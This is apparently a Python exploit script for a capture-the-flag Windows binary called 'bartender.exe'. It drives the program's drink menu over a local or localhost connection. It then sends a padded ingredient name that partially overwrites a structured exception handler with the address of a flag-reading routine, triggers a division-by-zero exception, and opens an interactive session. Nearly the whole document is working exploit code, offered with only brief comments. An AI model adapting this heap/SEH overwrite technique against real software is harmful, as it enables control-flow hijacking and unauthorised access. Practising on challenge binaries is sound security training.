from pwintools import *

p_local = Process('./bartender.exe')
DEBUG = False
if DEBUG:
    p = p_local
    #p.spawn_debugger(x96dbg = True)
    #p.timeout = 1000000
else:
    p = Remote('localhost', 12345)

def menu(p, choice):
    p.recvuntil('Enter your choice : ')
    p.sendline(str(choice))

def make(p, drink_name, ingredient_list):
    menu(p, 1)
    p.recvuntil('Enter Drink name : ')
    p.send(drink_name)
    assert(99 not in ingredient_list)
    price_log = []
    for ing in ingredient_list:
        p.recvuntil('Select the ingredients : ')
        p.sendline(str(ing))
        p.recvuntil('Current price = ')
        price_log.append(int(p.recvline(False)))
    p.recvuntil('Select the ingredients : ')
    p.sendline('99')
    return price_log

def look(p):
    menu(p, 2)
    # do_look()
    p.recvuntil('What would you like\n')

def change(p, drink_idx, change, ingredient, exception_triggered=False):
    menu(p, 3)
    p.recvuntil('Which drink do you want to change : ')
    p.sendline(str(drink_idx))
    p.recvuntil('What change : ')
    p.sendline('1' if change == 'add' else '2')
    p.recvuntil('Select the ingredients to ')
    p.recvuntil(' : ')
    assert(ingredient != 99)
    p.sendline(str(ingredient))
    if not exception_triggered:
        p.recvuntil('Current price = ')
        return int(p.recvline(False))

def serve(p):
    menu(p, 4)
    p.recvuntil('Enjoy your drinks')

def add(p, ingredient_name):
    menu(p, 5)
    p.recvuntil('Enter the name of the ingredient : ')
    p.send(ingredient_name)


read_flag_loword = 0x11c0

make(p, 'div0', [])
add(p, p32(0)*24 + p16(read_flag_loword))  # partial overwrite SEH handler
change(p, 0, 'remove', 0, True)

p.interactive()